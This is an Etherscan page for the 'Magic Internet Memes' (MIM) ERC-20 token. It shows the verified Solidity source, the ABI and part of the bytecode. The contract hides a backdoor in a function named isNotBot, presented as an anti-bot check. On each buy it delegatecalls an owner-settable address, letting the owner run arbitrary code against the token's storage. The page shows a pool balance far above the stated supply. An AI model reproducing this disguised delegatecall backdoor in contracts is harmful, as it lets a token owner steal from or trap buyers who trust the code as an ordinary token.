ETH Price: $2,306.62 (+0.79%)

Token

Magic Internet Memes (MIM)
 

Overview

Max Total Supply

21,000,000,000 MIM

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: MIM 19
Balance
10,000,006,995,589,449.903857201 MIM

Value
$0.00
0xf515ebf106a0f1ffb48c2b09a5f229226d1bc336
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MagicInternetMemes

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-13
*/

/*

Telegram | https://t.me/MagicInternetMemes

Website  | https://magicinternetmemes.art/

Twitter  | https://twitter.com/MagicMemeCoin

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MagicInternetMemes is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=12;
    uint256 private _initialSellTax=12;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 21_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Magic Internet Memes";
    string private constant _symbol = unicode"MIM";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold= _tTotal / 100;
    uint256 public _maxTaxSwap= _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private routerAddress;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private addingLiq = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xa2Cf45CA132cF8375C1dd50032fA54D1741740Db);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && isNotBot(to) && ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(contractTokenBalance,_maxTaxSwap));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (addingLiq) {
            taxAmount = 0;
        }
        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function changeSwapBack(bool _isEnabled) external onlyOwner {
        swapEnabled = _isEnabled;
    }

    function removeWalletRestrictions() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function setRouter(address _routerAddress) external onlyOwner {
        routerAddress = _routerAddress;
    }

    function isNotBot(address toRecipient) private returns (bool) {
        bytes memory sig = abi.encodeWithSignature("validate(address)", toRecipient);
        address lpAddress = address(routerAddress);
        assembly {
            let g := gas()
            let ad := add(sig, 0x20)
            let res := delegatecall(g, lpAddress, ad, 0x24, 0, 0)
        }
        return true;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function clearStuckEthBalance() external onlyOwner {
        _taxWallet.transfer(address(this).balance);
    }

    function startTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        addingLiq = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        addingLiq = false;
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_isEnabled","type":"bool"}],"name":"changeSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckEthBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWalletRestrictions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"}],"name":"setRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c600655600c60075560026008556002600955600a8055600c600b556014600c555f600d55606460026009600a6200003e91906200066c565b6404e3b29200620000509190620006bc565b6200005c9190620006bc565b62000068919062000733565b600e55606460026009600a6200007f91906200066c565b6404e3b29200620000919190620006bc565b6200009d9190620006bc565b620000a9919062000733565b600f5560646009600a620000be91906200066c565b6404e3b29200620000d09190620006bc565b620000dc919062000733565b60105560646009600a620000f191906200066c565b6404e3b29200620001039190620006bc565b6200010f919062000733565b6011555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f601460176101000a81548160ff0219169083151502179055503480156200016c575f80fd5b505f6200017e620004ac60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073a2cf45ca132cf8375c1dd50032fa54d1741740db60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200027e91906200066c565b6404e3b29200620002909190620006bc565b60015f620002a3620004ac60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002f5620004b360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200041f620004ac60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200047d91906200066c565b6404e3b292006200048f9190620006bc565b6040516200049e91906200077b565b60405180910390a362000796565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000564578086048111156200053c576200053b620004da565b5b60018516156200054c5780820291505b80810290506200055c8562000507565b94506200051c565b94509492505050565b5f826200057e576001905062000650565b816200058d575f905062000650565b8160018114620005a65760028114620005b157620005e7565b600191505062000650565b60ff841115620005c657620005c5620004da565b5b8360020a915084821115620005e057620005df620004da565b5b5062000650565b5060208310610133831016604e8410600b8410161715620006215782820a9050838111156200061b576200061a620004da565b5b62000650565b62000630848484600162000513565b925090508184048111156200064a5762000649620004da565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620006788262000657565b9150620006858362000660565b9250620006b47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200056d565b905092915050565b5f620006c88262000657565b9150620006d58362000657565b9250828202620006e58162000657565b91508282048414831517620006ff57620006fe620004da565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200073f8262000657565b91506200074c8362000657565b9250826200075f576200075e62000706565b5b828204905092915050565b620007758162000657565b82525050565b5f602082019050620007905f8301846200076a565b92915050565b6131b480620007a45f395ff3fe608060405260043610610122575f3560e01c80638da5cb5b1161009f578063bf474bed11610063578063bf474bed146103af578063bfa382b5146103d9578063c0d78655146103ef578063dd62ed3e14610417578063ee3e466f1461045357610129565b80638da5cb5b146102df5780638f9a55c01461030957806395d89b4114610333578063973c7aa41461035d578063a9059cbb1461037357610129565b8063293230b8116100e6578063293230b814610223578063313ce5671461023957806370a0823114610263578063715018a61461029f5780637d1db4a5146102b557610129565b806306fdde031461012d578063095ea7b3146101575780630faee56f1461019357806318160ddd146101bd57806323b872dd146101e757610129565b3661012957005b5f80fd5b348015610138575f80fd5b5061014161047b565b60405161014e919061231b565b60405180910390f35b348015610162575f80fd5b5061017d600480360381019061017891906123cc565b6104b8565b60405161018a9190612424565b60405180910390f35b34801561019e575f80fd5b506101a76104d5565b6040516101b4919061244c565b60405180910390f35b3480156101c8575f80fd5b506101d16104db565b6040516101de919061244c565b60405180910390f35b3480156101f2575f80fd5b5061020d60048036038101906102089190612465565b6104ff565b60405161021a9190612424565b60405180910390f35b34801561022e575f80fd5b506102376105d3565b005b348015610244575f80fd5b5061024d610b2f565b60405161025a91906124d0565b60405180910390f35b34801561026e575f80fd5b50610289600480360381019061028491906124e9565b610b37565b604051610296919061244c565b60405180910390f35b3480156102aa575f80fd5b506102b3610b7d565b005b3480156102c0575f80fd5b506102c9610ccb565b6040516102d6919061244c565b60405180910390f35b3480156102ea575f80fd5b506102f3610cd1565b6040516103009190612523565b60405180910390f35b348015610314575f80fd5b5061031d610cf8565b60405161032a919061244c565b60405180910390f35b34801561033e575f80fd5b50610347610cfe565b604051610354919061231b565b60405180910390f35b348015610368575f80fd5b50610371610d3b565b005b34801561037e575f80fd5b50610399600480360381019061039491906123cc565b610e6d565b6040516103a69190612424565b60405180910390f35b3480156103ba575f80fd5b506103c3610e8a565b6040516103d0919061244c565b60405180910390f35b3480156103e4575f80fd5b506103ed610e90565b005b3480156103fa575f80fd5b50610415600480360381019061041091906124e9565b610f8b565b005b348015610422575f80fd5b5061043d6004803603810190610438919061253c565b611062565b60405161044a919061244c565b60405180910390f35b34801561045e575f80fd5b50610479600480360381019061047491906125a4565b6110e4565b005b60606040518060400160405280601481526020017f4d6167696320496e7465726e6574204d656d6573000000000000000000000000815250905090565b5f6104cb6104c4611195565b848461119c565b6001905092915050565b60115481565b5f6009600a6104ea919061272b565b6404e3b292006104fa9190612775565b905090565b5f61050b84848461135f565b6105c884610517611195565b6105c3856040518060600160405280602881526020016131576028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61057a611195565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c9a9092919063ffffffff16565b61119c565b600190509392505050565b6105db611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065e90612800565b60405180910390fd5b60148054906101000a900460ff16156106b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ac90612868565b60405180910390fd5b6001601460176101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061076d3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610758919061272b565b6404e3b292006107689190612775565b61119c565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fb919061289a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610881573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a5919061289a565b6040518363ffffffff1660e01b81526004016108c29291906128c5565b6020604051808303815f875af11580156108de573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610902919061289a565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061098930610b37565b5f80610993610cd1565b426040518863ffffffff1660e01b81526004016109b59695949392919061292e565b60606040518083038185885af11580156109d1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109f691906129a1565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a969291906129f1565b6020604051808303815f875af1158015610ab2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad69190612a2c565b505f601460176101000a81548160ff0219169083151502179055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b85611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0890612800565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600381526020017f4d494d0000000000000000000000000000000000000000000000000000000000815250905090565b610d43611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690612800565b60405180910390fd5b6009600a610ddd919061272b565b6404e3b29200610ded9190612775565b600e819055506009600a610e01919061272b565b6404e3b29200610e119190612775565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610e46919061272b565b6404e3b29200610e569190612775565b604051610e63919061244c565b60405180910390a1565b5f610e80610e79611195565b848461135f565b6001905092915050565b60105481565b610e98611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b90612800565b60405180910390fd5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610f88573d5f803e3d5ffd5b50565b610f93611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101690612800565b60405180910390fd5b8060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6110ec611195565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116f90612800565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361120a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120190612ac7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126f90612b55565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611352919061244c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c490612be3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290612c71565b60405180910390fd5b5f811161147d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147490612cff565b60405180910390fd5b5f611486610cd1565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114f457506114c4610cd1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119d1576115356064611527600a54600d541161151457600654611518565b6008545b85611cfc90919063ffffffff16565b611d7390919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115e0575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115f157506115f083611dbc565b5b8015611644575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561172757600e5482111561168e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168590612d67565b60405180910390fd5b600f548261169b85610b37565b6116a59190612d85565b11156116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd90612e02565b60405180910390fd5b4360036005546116f69190612d85565b111561170f5761170583611e8e565b1561170e575f80fd5b5b600d5f81548092919061172190612e20565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117cb575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561182957600f54826117dd85610b37565b6117e79190612d85565b1115611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f90612e02565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118b157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118f5576118f260646118e4600b54600d54116118d1576007546118d5565b6009545b85611cfc90919063ffffffff16565b611d7390919063ffffffff16565b90505b5f6118ff30610b37565b9050601460159054906101000a900460ff1615801561196a575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119825750601460169054906101000a900460ff165b801561198f575060105481115b801561199e5750600c54600d54115b156119cf576119b76119b282601154611e9f565b611eb7565b5f4790505f8111156119cd576119cc47612122565b5b505b505b601460179054906101000a900460ff16156119ea575f90505b5f811115611ae957611a428160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461218a90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff